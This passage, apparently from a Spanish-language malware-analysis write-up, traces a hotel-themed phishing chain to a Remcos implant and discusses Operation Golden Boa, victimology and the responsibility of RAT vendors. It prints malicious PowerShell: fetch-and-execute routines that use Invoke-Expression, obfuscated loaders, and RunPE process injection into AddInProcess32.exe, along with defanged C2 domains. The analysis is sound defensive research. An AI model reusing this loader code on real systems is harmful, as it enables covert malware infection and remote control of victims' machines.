$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
$content = $wc.DownloadString($Url)
if ($content) {
Invoke-Expression $content
return
}
} catch {}
try {
Add-Type -AssemblyName System.Net.Http
$handler = New-Object System.Net.Http.HttpClientHandler
$handler.ServerCertificateCustomValidationCallback = { $true }
$client = New-Object System.Net.Http.HttpClient($handler)
$client.DefaultRequestHeaders.Add("User-Agent", "Mozilla/5.0")
$content = $client.GetStringAsync($Url).Result
if ($content) {
Invoke-Expression $content
return
}
} catch {}
try {
$tempFile = "$env:TEMP\$(Get-Random).ps1"
Start-BitsTransfer -Source $Url -Destination $tempFile -Priority High
if (Test-Path $tempFile) {
$content = Get-Content $tempFile -Raw
Remove-Item $tempFile -Force
Invoke-Expression $content
return
}
} catch {}
} catch {}
}
Download-AndExecute -Url $scriptUrl
Este script, como lo indica el nombre de su función principal, vuelve a descargar un archivo y ejecutarlo. La siguiente etapa estaría en:
hxxp://192.227.173[.]74:8080/priect[.]txt
La diferencia frente a los scripts anteriores es que este intenta varias maneras de descargar el archivo. Primero utiliza Invoke-WebRequest; si falla, prueba con System.Net.WebClient; luego con HttpClient; y finalmente utiliza BITS mediante Start-BitsTransfer.
Cada método está dentro de un try/catch, así que si uno falla simplemente continúa con el siguiente.
El objetivo parece bastante claro: aumentar las probabilidades de que la siguiente etapa pueda ser descargada independientemente de pequeñas diferencias en la configuración del sistema o de posibles bloqueos.
En este punto tenemos tres nuevos observables: una IP (192.227.173[.]74), un puerto (8080) y otro archivo (priect.txt).
No encontramos mucha información útil sobre estos artefactos en GTI y la infraestructura ya no estaba respondiendo cuando hicimos la investigación. Es otra vertiente que se abre, pero por ahora decidimos dejarla de lado y seguir con las versiones de nucleo.txt.
Núcleo 1
Si aplicamos nuestro ya probado sistema de desofuscación y eliminamos los comentarios basura obtenemos un script que comienza de una forma bastante familiar:
try {
$w = Add-Type -MemberDefinition '[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);' -Name Win32 -Namespace Native -PassThru
$h = (Get-Process -Id $PID).MainWindowHandle
if ($h -ne [IntPtr]::Zero) { [void]$w::ShowWindow($h, 0) }
} catch {}
$logFile = Join-Path $PSScriptRoot "bloqueio_scripts.log"
function Log($msg) {
try {
Add-Content -Path $logFile -Value "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') | $msg" -ErrorAction SilentlyContinue
} catch {}
}
$ProgressPreference = 'SilentlyContinue'
Pero un poco más adelante aparece algo bastante más interesante:
function AdoberReaderDC08090809808203909820394809285098203598098029850987874098475870485720847098274058274058274058720872048572048 {
param (
[Parameter(Mandatory = $true, ValueFromPipeline = $true)]
[ValidateNotNullOrEmpty()]
[string]$BinaryInput
)
$cleanedBinaryInput = $BinaryInput -replace '@@@_@@@_@@@_@@@', ''
$decimalValues = $cleanedBinaryInput -split '(?<=\G.{8})' |
Where-Object { $_.Length -eq 8 } |
ForEach-Object { [char][Convert]::ToInt32($_, 2) }
return -join $decimalValues
}
$LargandoODoce2026 = '001000110010000001010011011010010110110001100101...'
$LargandoODoce2026 = $LargandoODoce2026 -replace '@', '1001'
$x = (AdoberReaderDC08090809808203909820394809285098203598098029850987874098475870485720847098274058274058274058720872048572048 $LargandoODoce2026)
if ($x) {
try {
[ScriptBlock]::Create($x).Invoke()
} catch {}
}
Ahora vemos que el script contiene otro script codificado dentro de una enorme cadena de ceros y unos. Cuando hablamos aquí de una cadena “binaria” no queremos decir que estemos viendo datos binarios directamente. En realidad es una representación textual de bits: grupos de 0 y 1 que luego son convertidos a caracteres.
La función con el larguísimo nombre AdoberReaderDC08... hace precisamente eso: divide la cadena en grupos de ocho bits, convierte cada grupo a un carácter y finalmente reconstruye el texto.
Después: [ScriptBlock]::Create($x).Invoke() convierte ese texto en un nuevo bloque de PowerShell y lo ejecuta.
La variable $LargandoODoce2026 contiene toda la información que necesitamos. Si la copiamos en CyberChef, después de hacer los reemplazos necesarios podemos utilizar From Binary y recuperar el siguiente script.

El resultado comienza así:
$ErrorActionPreference = 'SilentlyContinue'
$WarningPreference = 'SilentlyContinue'
$ProgressPreference = 'SilentlyContinue'
$ConfirmPreference = 'None'
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force
$CDTDevelloper = "hxxps://informaciones-digitales[.]com/b/"
$arquivos = @(
"SOL_xx.txt",
"SOL_type.txt",
"SOL_runpe.txt",
"SOL_msg.txt",
"SOL_method.txt",
"SOL_load.txt",
"SOL_invoke.txt",
"SOL_Framework.txt",
"SOL_Execute.txt"
)
Volvemos a encontrarnos con un dominio que ya conocíamos: informaciones-digitales[.]com
Pero ahora tenemos una nueva ruta: hxxps://informaciones-digitales[.]com/b/
Y desde allí el script descarga nueve archivos:
foreach ($arquivo in $arquivos) {
$urlCompleta = "$CDTDevelloper/$arquivo"
$destino = "$env:PUBLIC\$arquivo"
Invoke-WebRequest -Uri $urlCompleta -OutFile $destino -Headers @{
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}
}
Los archivos quedan almacenados en %PUBLIC%, que normalmente corresponde a: C:\Users\Public\
Después aparecen varias funciones:
Function ConverterBinarioParaTexto($entrada) {
$listaBytes = [System.Collections.Generic.List[Byte]]::new()
for ($CDT = 0; $CDT -lt $entrada.Length; $CDT += 8) {
$listaBytes.Add([Convert]::ToByte($entrada.Substring($CDT, 8), 2))
}
return [System.Text.Encoding]::ASCII.GetString($listaBytes.ToArray())
}
Function HexParaBytes($entrada) {
return ($entrada -split '(..)' | Where-Object {$_}) |
ForEach-Object { [Convert]::ToByte($_, 16) }
}
ConverterBinarioParaTexto hace prácticamente lo mismo que acabamos de hacer: convierte una representación en ceros y unos a texto.
HexParaBytes, en cambio, interpreta una cadena hexadecimal y reconstruye a partir de ella los bytes originales.
Eso ya empieza a darnos una pista de que podríamos estar acercándonos a ejecutables de Windows.
Luego encontramos la función principal:
Function ExecutarPayload {
$pastaPublica = "C:\X\Y\".Replace("X","Users").Replace("Y","Public")
$mensagemCodificada = (Get-Content ($pastaPublica + "SOL_msg.txt") -Raw) -replace "%","0" -replace "!","1" -replace "@","A"
$codigoRunPE = (Get-Content ($pastaPublica + "SOL_runpe.txt") -Raw) -replace "%","0" -replace "!","1" -replace "@","A"
try {
[byte[]]$mensagemBytes = HexParaBytes $mensagemCodificada
[byte[]]$dllBytes = HexParaBytes $codigoRunPE
$nomeMetodoLoad = Get-Content ($pastaPublica + "SOL_load.txt") -Raw
$nomeMetodoTipo = Get-Content ($pastaPublica + "SOL_type.txt") -Raw
$parametroClasse = ConverterBinarioParaTexto (Get-Content ($pastaPublica + "SOL_xx.txt") -Raw)
$nomeMetodoExec = Get-Content ($pastaPublica + "SOL_method.txt") -Raw
$parametroMetodo = ConverterBinarioParaTexto (Get-Content ($pastaPublica + "SOL_Execute.txt") -Raw)
$nomeInvoke = Get-Content ($pastaPublica + "SOL_invoke.txt") -Raw
$paramFramework = ConverterBinarioParaTexto (Get-Content ($pastaPublica + "SOL_Framework.txt") -Raw)
[Reflection.Assembly]::$nomeMetodoLoad($dllBytes).
$nomeMetodoTipo($parametroClasse).
$nomeMetodoExec($parametroMetodo).
$nomeInvoke(
$null,
[object[]]@(
$paramFramework,
$null,
$mensagemBytes,
$true
)
)
} catch {}
}
Hay muchas cosas para mirar acá.
Primero, tenemos varios archivos pequeños que parecen contener piezas necesarias para reconstruir dinámicamente nombres de clases, métodos y parámetros.
Pero hay dos particularmente interesantes: SOL_runpe.txt y SOL_msg.txt
Estos no terminan convertidos a texto.
Son interpretados como hexadecimal y transformados directamente en arreglos de bytes:
[byte[]]$mensagemBytes = HexParaBytes $mensagemCodificada
[byte[]]$dllBytes = HexParaBytes $codigoRunPE
Después $dllBytes es entregado directamente a Reflection.Assembly.
Eso significa que estamos frente a un ensamblado .NET que se carga desde memoria.
Posteriormente el código utiliza los nombres de clases y métodos reconstruidos desde los demás archivos para ejecutar ese ensamblado y entregarle $mensagemBytes como uno de sus argumentos.
Todo empieza a parecerse bastante a un loader.
El problema es que informaciones-digitales[.]com ya no estaba disponible y, por lo tanto, no podíamos recuperar los archivos SOL_* para reconstruir completamente esta etapa.
Pero todavía nos quedaba otra versión de nucleo.txt.
Y esa versión resultó ser especialmente útil.
Núcleo 2
Cuando limpiamos nucleo2.txt, igual que hicimos con los demás archivos, encontramos un script muy parecido a Núcleo 1.
Pero hay una diferencia fundamental: los archivos que intervienen en el comando final no son descargados desde Internet. Están embebidos dentro del propio script.
Esto nos permite recuperar lo que nos faltaba.
Como el script es enorme, no tiene mucho sentido pegarlo completo acá. Vamos a mirar solamente algunos fragmentos para entender qué hace y cómo se relaciona con Núcleo 1.

En las primeras líneas encontramos varias similitudes con Núcleo 1 y algunas llamadas al API de Windows.
Después aparece una variable llamada $arquivosConteudo, una Hashtable de PowerShell que contiene entradas con nombres como:
PITBULL_xx.txt
PITBULL_type.txt
PITBULL_runpe.txt
Los nombres cambian, pero la estructura coincide con la de los archivos SOL_* que vimos anteriormente.
PITBULL_xx.txt, por ejemplo, contiene una cadena de ceros y unos. PITBULL_type.txt contiene simplemente: GetType.
Y PITBULL_runpe.txt contiene una cadena enorme codificada.

Más abajo encontramos:
PITBULL_invoke.txtPITBULL_Framework.txtPITBULL_Execute.txt
Una vez más, la misma estructura que habíamos visto con los archivos SOL_*.
Después vuelve a aparecer la función con el nombre AdobeReaderDC08…, encargada de convertir cadenas de ceros y unos en texto.
Y finalmente encontramos otra variable enorme: $PitBull2025

Al final del script vemos cómo $PitBull2025 pasa por varios reemplazos que reconstruyen una cadena de ceros y unos. Esa cadena es enviada posteriormente a la misma función que ya habíamos estudiado en Núcleo 1.
La ofuscación es un poquito más complicada, pero no demasiado. Nada que CyberChef no pueda resolver con Find / Replace y From Binary.

El resultado es un script prácticamente idéntico al que habíamos obtenido de Núcleo 1.
La diferencia es que esta vez no necesita descargar los archivos auxiliares desde Internet: los reconstruye utilizando la Hashtable incluida en el propio script.
Y eso significa que ahora sí tenemos todas las piezas.
Reconstruyendo el loader
La mayoría de las variables de la Hashtable tienen contenidos relativamente pequeños, pero hay dos que llaman inmediatamente la atención: PITBULL_runpe.txt y PITBULL_msg.txt
Veamos cómo son procesadas:
$mensagemCodificada = (Get-Content ($pastaPublica + "PITBULL_msg.txt") -Raw) -replace "%","0" -replace "!","1" -replace "@","A"
$codigoRunPE = (Get-Content ($pastaPublica + "PITBULL_runpe.txt") -Raw) -replace "%","0" -replace "!","1" -replace "@","A"
try {
[byte[]]$mensagemBytes = HexParaBytes $mensagemCodificada
[byte[]]$dllBytes = HexParaBytes $codigoRunPE
Los dos archivos contienen representaciones hexadecimales cuyos caracteres han sido parcialmente sustituidos:
%por0!por1@porA
Es otra forma de ofuscación sencilla, pero suficiente para evitar que el contenido verdadero aparezca directamente dentro del script.
Después de hacer los reemplazos, la representación hexadecimal se convierte en bytes reales.
Podemos reconstruir ambos archivos usando de nuevo CyberChef. En este caso el contenido es demasiado grande para copiarlo cómodamente a mano, así que usamos un poco de Bash o Python para extraer las variables del script y guardarlas en archivos separados.
Después utilizamos Find / Replace y From Hex.

Nosotres guardamos los resultados como: msg.bin y runpe.bin
Usando sha256sum y file obtenemos:
| Archivo | SHA256 | Tipo de archivo |
|---|---|---|
msg.bin |
cef0c4...612f9e |
PE32 executable for MS Windows 5.01 (GUI), Intel i386, 5 sections |
runpe.bin |
a550a0...5c6596 |
PE32 executable for MS Windows 4.00 (DLL), Intel i386 Mono/.NET assembly, 3 sections |
Tenemos entonces un ejecutable normal de Windows, msg.bin, y una DLL .NET, runpe.bin.
PE significa Portable Executable, el formato que Windows utiliza para ejecutables, DLLs y otros binarios. En otras palabras, cuando file identifica estos artefactos como PE, ya sabemos que estamos frente a código ejecutable de Windows y no simplemente a texto o datos codificados.
El nombre runpe ya resulta bastante descriptivo.
Armando el comando final
Si obtenemos también el contenido de los archivos pequeños podemos reconstruir completamente el comando final.
Reemplazando las variables por sus valores, obtenemos algo equivalente a:
[Reflection.Assembly]::Load($dllBytes).
GetType("NewPE2.PE").
GetMethod("Execute").
Invoke(
$null,
[object[]]@(
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe",
$null,
$mensagemBytes,
$true
)
)
Solo quedan dos variables que no corresponden a texto: $dllBytes, que contiene runpe.bin, y $mensagemBytes, que contiene msg.bin.
Ahora el flujo queda mucho más claro.
PowerShell carga directamente desde memoria el ensamblado .NET contenido en runpe.bin utilizando: [Reflection.Assembly]::Load($dllBytes).
Después obtiene la clase: NewPE2.PE, busca el método: Execute y lo llama entregándole, entre otros argumentos, la ruta de: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe y los bytes de msg.bin.
Todo apunta a una implementación de RunPE / process injection.
En términos simples, runpe.bin funciona como un loader: recibe por un lado un ejecutable legítimo de Windows que servirá como proceso objetivo y por otro el PE malicioso que se quiere ejecutar.
En este caso, el proceso objetivo es AddInProcess32.exe y el payload está contenido en msg.bin.
La idea es ejecutar el código del malware dentro del contexto de un proceso legítimo. Desde afuera podemos terminar viendo un proceso válido de Microsoft mientras el código que realmente se está ejecutando dentro de él corresponde al payload.
Además, tanto el loader como el payload pueden ser reconstruidos y manipulados directamente en memoria. Las representaciones codificadas sí pueden tocar el disco, pero los PE finales no necesitan escribirse allí antes de ser cargados y ejecutados.
Esto hace la cadena bastante más difícil de detectar para mecanismos centrados únicamente en inspeccionar archivos escritos en disco.
El implante
Ahora tenemos dos archivos de Windows que podemos analizar.
Podríamos abrir la DLL con una herramienta para .NET, cargar el ejecutable en Ghidra o IDA y empezar a hacer ingeniería inversa.
Pero podemos hacer algo mucho más barato primero: buscar los hashes en GTI.
La DLL

GTI ya conocía la DLL.
En la pestaña Behavior, particularmente en la sección de MITRE ATT&CK Tactics and Techniques, podemos encontrar varias pistas que coinciden con lo que habíamos deducido sobre su función como loader.
Recordemos además que, en nuestra cadena, esta DLL no necesita existir en disco en su forma final: PowerShell reconstruye sus bytes y la carga utilizando .NET Reflection.
Pero la búsqueda nos mostró algo todavía más interesante.
GTI asociaba este archivo con un reporte: “Operación Golden Boa: nueva operación de malware identificada por SCILabs”
Finalmente habíamos encontrado un artefacto de nuestra cadena que también había aparecido en una investigación externa.
Y el contexto del reporte resultaba especialmente interesante: una operación de malware enfocada en empresas del sector hotelero y turístico en Latinoamérica.
Exactamente el tipo de contexto con el que comenzó nuestra investigación. Ya volveremos a ese reporte. Pero antes busquemos el otro hash.
El ejecutable de Windows

msg.bin registra muchas más detecciones en VirusTotal.
Eso no resulta demasiado sorprendente cuando analizamos el archivo aislado.
Lo interesante de la cadena que acabamos de reconstruir es que el atacante no necesita dejar este PE directamente en disco y ejecutarlo. Primero lo mantiene codificado y después utiliza el loader para reconstruirlo y ejecutarlo dentro de otro proceso.
Por eso la cantidad de detecciones del archivo aislado no necesariamente representa qué tan fácil es detectar toda la cadena de infección.
Y acá finalmente sabemos con qué malware estamos tratando en esta rama: Remcos.
Hablaremos un poco más de Remcos más adelante porque es una herramienta de especial interés por su origen comercial y su uso frecuente en operaciones criminales.
Por ahora lo importante es que ya conocemos el payload final de esta rama.
Obteniendo los C2
Remcos es un RAT ampliamente estudiado y extraer sus servidores de comando y control no es particularmente difícil.
Si tenemos acceso a GTI podemos revisar la sección Details, donde encontramos información extraída del implante, incluyendo sus C2.

Pero podemos averiguar un poco más utilizando un script público para extraer la configuración de Remcos: remcos_config_extractor.py.
$python remcos_config_extractor.py msg.bin
banucha01[.]accesscam.org:2405:0
banucha02[.]accesscam.org:2405:0
banucha01[.]ddns.net:2405:0
banucha02[.]ddns.net:2405:0
banucha03[.]ddns.net:2405:0
comexoxotabahia[.]ddns.net:2405:0
microsoft-graphicscdt[.]ddns.net:2405:0
microsoft-graphic.ddns[.]net:2405:0
||CDT||1||||||||1||100000||||8||remcos[.]exe||||||0||CUCU-JUE1F0||...
El script busca dentro del ejecutable un recurso llamado SETTINGS, localiza la información necesaria para descifrarlo y recupera la configuración de Remcos, incluyendo sus servidores de C2.
Defangando los dominios encontramos:
banucha01[.]accesscam[.]orgbanucha02[.]accesscam[.]orgbanucha01[.]ddns[.]netbanucha02[.]ddns[.]netbanucha03[.]ddns[.]netcomexoxotabahia[.]ddns[.]netmicrosoft-graphicscdt[.]ddns[.]netmicrosoft-graphic[.]ddns[.]net
Todos utilizan servicios de DNS dinámico.
Un servicio de Dynamic DNS permite mantener un nombre de dominio apuntando a una dirección IP aunque esta cambie. Esto resulta especialmente útil en conexiones residenciales, donde las IPs pueden ser asignadas dinámicamente por el proveedor.
Un dispositivo o cliente informa al proveedor de DDNS cuando cambia su IP y el registro DNS se actualiza automáticamente.
Para un operador de malware esto permite mantener el mismo nombre de C2 incluso si la dirección IP del servidor cambia.
Y acá encontramos algo interesante.
Al revisar las IPs históricamente asociadas a estos dominios encontramos un patrón: varias pertenecían a GIGASAT (AS263252), un proveedor localizado en el estado de Bahía, Brasil.
Esto no significa que el operador esté necesariamente en Bahía. La infraestructura podría ser residencial, comprometida, utilizada como proxy o responder a muchas otras explicaciones.
Pero sí nos deja una concentración geográfica interesante. Además, uno de los dominios incluye directamente la palabra: bahia
Y todavía había otro detalle curioso.
¿Qué o quién es “Banucha”?
Entre los C2 tenemos:
- banucha01
- banucha02
- banucha03
Así que inevitablemente terminamos buscando el nombre.
“Banucha Gomes” es un alias utilizado públicamente por un brasileño investigado por las autoridades por actividades relacionadas con fraude digital, venta de datos y enseñanza de técnicas para realizar estafas. Fue detenido en diciembre de 2024 y algunos medios brasileños se refirieron a él incluso como un “professor do golpe digital”.
La coincidencia con los nombres de los C2 es llamativa. Pero por ahora es solamente eso: una coincidencia que sirve como pivot.
No tenemos evidencia suficiente para afirmar que estos servidores pertenezcan a esta persona ni que tenga relación con la campaña que estamos investigando. banucha podría ser una referencia, una reutilización del nombre, una broma interna o cualquier otra cosa. Así que mejor guardar ese dato y no convertirlo en atribución.
La cadena hasta ahora
A estas alturas ya recorrimos bastante camino desde aquel falso PDF. La siguiente imagen resume las relaciones que logramos reconstruir durante la investigación:
Cadena de infección reconstruida. El gráfico combina artefactos observados en distintas muestras y momentos y no representa necesariamente una única ejecución lineal. En particular, nucleo1.txt y nucleo2.txt son dos versiones diferentes observadas detrás de la misma URL.

Este es solo uno de los caminos que podíamos seguir. Cada dominio, IP, archivo o C2 que encontramos abre nuevas posibilidades de investigación y algunas partes de esta infraestructura seguían activas mientras hacíamos este ejercicio.
Pero también hay que saber cuándo parar. Esta rama nos permitió llegar desde un supuesto PDF hasta un implante de Remcos y sus servidores de C2, pero todavía no nos permite atribuir concretamente quién está detrás del archivo que llegó originalmente a nuestras manos.
Y, dado que cada vez resulta más claro que estamos frente a una operación de cibercrimen, decidimos no seguir indefinidamente cada pivot.
Por ahora.
Porque durante el camino apareció algo que vale la pena mirar con mucho más detalle: Operación Golden Boa.
–[ 0x04 Conociendo a la Boa Dorada ]–
Hasta este punto habíamos seguido la investigación casi exclusivamente desde nuestros propios artefactos: un archivo llevaba a otro, una URL a otra infraestructura y eventualmente terminamos frente a Remcos y una serie de C2.
Pero al buscar el hash de runpe.bin en GTI apareció algo nuevo: el archivo estaba relacionado con un reporte de SCILabs sobre una campaña que llamaron Operación Golden Boa.
El reporte fue publicado originalmente en diciembre de 2025 y documenta una operación dirigida principalmente contra organizaciones de hotelería y turismo en Latinoamérica. SCILabs observó actividad al menos desde septiembre de ese año y encontró correos de phishing que utilizaban como pretexto reservaciones, alojamientos y otros temas relacionados con viajes.
Lo interesante para nosotres no era solamente el sector.
La cadena descrita por SCILabs tenía varias cosas que ya nos resultaban demasiado familiares: archivos PDF concatenados con RAR, scripts llenos de datos basura comentados, PowerShell, tareas programadas con nombres que simulaban ser de OneDrive, loaders que ejecutaban payloads dentro de procesos legítimos de Windows y, finalmente, malware como Remcos y XWorm. Incluso aparecen algunos de los mismos C2 que encontramos en nuestra muestra, como banucha01[.]accesscam[.]org y banucha02[.]accesscam[.]org.
Esto no significa que nuestro archivo sea exactamente la misma muestra analizada por SCILabs. De hecho, hay diferencias importantes en las primeras etapas de la infección y nuestra muestra parece corresponder a actividad posterior.
Pero sí tenemos suficientes overlaps para considerar Golden Boa un contexto muy relevante para nuestra investigación.
Y acá aparece una parte importante del trabajo de CTI: muchas veces no necesitamos empezar sabiendo el nombre de una campaña o quién está detrás. Podemos comenzar con un artefacto aislado, reconstruir parte de su comportamiento y solo después comparar lo encontrado con investigaciones existentes.
En este caso hicimos el camino al revés de lo que suele ocurrir cuando se lee un reporte de amenazas: primero encontramos las piezas y después descubrimos que alguien más ya había empezado a armar el rompecabezas.
Fuente: https://blog.scilabs.mx/operacion-golden-boa-nueva-operacion-de-malware-identificada-por-scilabs/
–[ 0x05 Victimología ]–
Hasta ahora hemos hablado mucho de malware, scripts e infraestructura, pero todavía falta una pregunta bastante básica:
¿a quién están intentando infectar?
La respuesta más clara aparece cuando dejamos de mirar solamente el código y empezamos a mirar el contexto alrededor de los archivos.
Nuestro archivo original se llamaba: CARTA DE GARANTÍA HOTELERA FB-12-8846 ABRIL.REV
Dentro encontramos un supuesto DNI y toda la ingeniería social estaba construida alrededor de una transacción relacionada con hotelería.
SCILabs encontró exactamente el mismo patrón general desde otra perspectiva: correos enviados a organizaciones del sector hotelero y turístico utilizando falsas reservaciones, tarjetas de crédito, listas de alojamiento e incluso suplantación de servicios conocidos del sector. Además, identificaron sitios legítimos de hoteles que aparentemente habían sido comprometidos y reutilizados para alojar partes de la infraestructura de la campaña.
Esto nos permite hablar de una victimología sectorial bastante clara: hoteles, agencias, operadores turísticos y otras organizaciones que procesan constantemente documentos y solicitudes provenientes de personas desconocidas.
Y eso tiene sentido desde el punto de vista del atacante. Para un hotel, recibir por correo un documento de identidad, una garantía, una tarjeta o información relacionada con una reserva no es un evento excepcional: es parte del trabajo cotidiano. El pretexto se mezcla fácilmente con el flujo normal de la organización.
La victimología también sirve para poner límites a nuestras conclusiones. Que este archivo haya terminado llegando a una organización de Sociedad Civil no significa necesariamente que Sociedad Civil fuera el objetivo de la campaña. Todo lo que encontramos apunta más bien a una operación criminal dirigida a un sector económico específico que, por su escala, puede terminar cruzándose con personas y organizaciones de otros ecosistemas.
Para quienes hacemos respuesta a incidentes en Sociedad Civil, poder distinguir estas dos cosas es importante: no todo incidente que afecta a una organización de nuestra comunidad es necesariamente un ataque dirigido contra ella.
A veces entender a quién estaba buscando realmente el atacante es tan importante como entender el malware que utilizó.
–[ 0x06 Spyware barato, responsabilidad cara ]–
Hasta acá llegamos a Remcos siguiendo una operación de cibercrimen. Pero Remcos también nos abre otra línea que nos interesa particularmente desde Sociedad Civil: la responsabilidad de las empresas que producen herramientas de vigilancia y acceso remoto que después terminan siendo utilizadas en operaciones de espionaje.
Remcos no es un proyecto anónimo publicado en algún foro. Es un producto comercial desarrollado por Breaking Security y vendido como una herramienta de administración, vigilancia y control remoto. La propia empresa promociona funciones como captura de pantalla, ejecución remota de comandos y scripts, administración de archivos y monitoreo de actividad.
Y es una herramienta relativamente accesible. En el momento de escribir este texto, Breaking Security comercializa licencias profesionales desde decenas de euros, muy lejos de los precios normalmente asociados con plataformas de spyware mercenario altamente sofisticadas.
Ese detalle importa. Cuando hablamos de vigilancia digital solemos pensar en herramientas extremadamente caras y en empresas que venden exploits o spyware a gobiernos. Pero existe otra capa mucho menos explorada: herramientas comerciales baratas, de propósito general o directamente commodity malware, que pueden cumplir funciones de vigilancia suficientemente buenas para muchas operaciones.
Remcos ya ha aparecido en ese contexto. En 2025 Cisco Talos documentó una campaña asociada con Gamaredon, un actor vinculado al Estado ruso, que utilizaba Remcos contra objetivos en Ucrania. La campaña empleaba documentos relacionados con movimientos de tropas y terminaba desplegando Remcos como backdoor. Talos atribuyó la actividad a Gamaredon con confianza media.
IBM X-Force también ha seguido campañas de Hive0156, un actor alineado con Rusia y enfocado en comprometer personas dentro del gobierno y las fuerzas armadas de Ucrania, utilizando Remcos como una de sus herramientas principales.
Y en 2026 SentinelLabs encontró Remcos en una operación de ciberespionaje contra fuerzas policiales de Pakistán. En ese caso, la infraestructura de Remcos fue atribuida a un actor sospechoso de tener vínculos con India, con víctimas en gobierno, defensa, relaciones exteriores e inteligencia.
No todos estos casos tienen el mismo nivel de atribución, y usar Remcos no convierte automáticamente una operación en una operación estatal. Precisamente ese es el punto: la misma herramienta puede aparecer en fraude común, campañas criminales, espionaje gubernamental y operaciones asociadas con actores estatales.
En Latinoamérica también hay antecedentes. ESET documentó Remcos en campañas de espionaje contra empresas y organismos gubernamentales en Colombia y Ecuador, incluyendo Operación Spalax y Operación Pulpo Rojo.
¿Y quién responde?
Breaking Security reconoce explícitamente el riesgo de abuso y mantiene una política contra usos indebidos. Allí afirma que realiza verificaciones, recibe reportes de abuso y puede bloquear licencias.
Eso está bien, pero abre preguntas más difíciles. ¿Qué ocurre cuando Remcos aparece en una operación de espionaje estatal? ¿Puede la empresa identificar qué licencia fue utilizada? ¿Cuántas licencias han sido canceladas por abuso? ¿Se investiga de manera distinta un caso contra periodistas, activistas o instituciones públicas? ¿Qué ocurre con las versiones crackeadas? ¿Y qué información comparte la empresa con investigadores o con las víctimas?
No tenemos respuestas a esas preguntas. Tampoco tenemos evidencia de que Breaking Security haya participado en Golden Boa, conociera la operación o pudiera haber evitado este caso concreto. La existencia de Remcos en una cadena maliciosa no demuestra responsabilidad directa de su desarrollador.
Pero accountability no empieza solamente cuando una empresa participa deliberadamente en un ataque. También implica preguntarnos qué obligaciones deberían tener las empresas que diseñan, mantienen y comercializan tecnologías con capacidades de vigilancia cuando existe evidencia sostenida de que sus productos son utilizados para espionaje y otros abusos.
El debate sobre spyware suele concentrarse, con razón, en productos extremadamente sofisticados como Pegasus. Pero probablemente también tengamos que mirar hacia abajo en el mercado. No todo el espionaje necesita un exploit de millones de dólares.
A veces basta un RAT de 79 euros.
Oficinas de breaking security, Hong Kong.
–[ 0x07 Donde decidimos parar ]–
Pivotando un poco más nos dimos cuenta de que esto era bastante más grande de lo que parecía al comienzo.
Encontramos mucha más infraestructura, mirrors, repositorios de GitHub llenos de artefactos similares a los que analizamos en este writeup y campañas que no se limitaban al sector turismo. Algunos archivos eran prácticamente idénticos, otros tenían pequeñas modificaciones y otros mostraban técnicas diferentes.
Llegó un punto en el que teníamos tantos archivos, dominios, IPs y relaciones que ya no era sencillo determinar cuántos actores estábamos observando.
El idioma tampoco ayuda demasiado. Encontramos artefactos que mezclaban portugués y español, otros escritos solamente en portugués y otros solamente en español. Eso puede decir algo sobre quienes construyen o utilizan estas herramientas, pero no es suficiente para hacer atribución.
También nos quedó dando vueltas otra posibilidad: ¿estamos viendo algún tipo de servicio de malware installs?
Eso podría ayudar a explicar por qué una misma máquina termina recibiendo varios payloads o por qué aparecen distintas familias de malware dentro de cadenas relacionadas. Tal vez uno corresponde al “cliente” y otro al operador de la infraestructura.
Ladrón que roba a ladrón…
No tenemos evidencia suficiente para asegurarlo, pero es una hipótesis interesante para seguir explorando.
Buenos pivotes, mejores preguntas
Una de las cosas que aprendimos en esta investigación es que los archivos del loader —especialmente esas cadenas pequeñas de ceros y unos— son excelentes pivotes.
Son suficientemente particulares como para encontrarlos en otros lugares y seguir conectando infraestructura.
Así llegamos, por ejemplo, a varios repositorios de GitHub —la mayoría eliminados posteriormente— donde encontramos más artefactos relacionados.
Uno de ellos contenía un archivo llamado nono123.txt con esta dirección:
tcp[:]//23c31v13v[.]dynuddns[.]net[:]666/
Siguiendo ese dominio encontramos que en algún momento resolvía a:
142[.]44[.]247[.]175
Y si empezamos a pivotar sobre esa IP en plataformas como GTI o Censys aparecen más pistas, incluyendo información que podría relacionar parte de esa infraestructura con una persona.
Y acá es importante poner el freno: eso no es atribución.
Una IP puede estar reutilizada, comprometida, alquilada, compartida o simplemente contener información histórica que no representa a quien realmente operaba el malware.
Lo interesante del ejemplo no es identificar a alguien, sino mostrar hasta dónde se puede llegar combinando artefactos relativamente pequeños, búsquedas en distintas fuentes y un poquito de atención.
Saber cuándo parar
Podríamos seguir contando muchas otras cosas que encontramos investigando este caso. Y seguramente podríamos seguir investigándolo durante bastante tiempo.
Ese es también uno de los aprendizajes de este experimento: en CTI casi siempre existe otro pivot. Una IP lleva a un dominio, un dominio a un archivo, un archivo a un repositorio y ese repositorio abre otras diez preguntas.
La parte difícil no siempre es encontrar otra pista. A veces es decidir cuándo tenemos suficiente.
En nuestro caso empezamos con un supuesto PDF sospechoso que había llegado a una organización de Sociedad Civil. Queríamos entender qué era, si parecía parte de un ataque dirigido y hasta dónde podíamos llegar investigándolo.
Terminamos reconstruyendo buena parte de una cadena de infección, recuperando payloads que ya no estaban disponibles en Internet, identificando infraestructura, mecanismos de persistencia, loaders, process injection, un implante de Remcos y sus C2; conectamos nuestros hallazgos con investigaciones anteriores y terminamos incluso preguntándonos por la responsabilidad de las empresas que producen las herramientas utilizadas en estas operaciones.
Pero probablemente el aprendizaje más útil sea mucho más sencillo: no hace falta comenzar una investigación sabiendo qué estamos buscando.
Empezamos con un archivo raro.
Después fuimos haciendo preguntas pequeñas:
- ¿Qué hay dentro?
- ¿Qué ejecuta?
- ¿De dónde descarga lo siguiente?
- ¿Alguien más ha visto este artefacto?
- ¿Qué comparte infraestructura con él?
- ¿A quién parece estar dirigido?
Y cada respuesta nos dio una nueva pregunta.
Este writeup deja suficientes pistas para que cualquier persona con tiempo y curiosidad pueda seguir tirando del hilo por su cuenta. Nosotres, por ahora, paramos acá.
Suficiente Internet por hoy.
Nos vemos en el próximo experimento. :)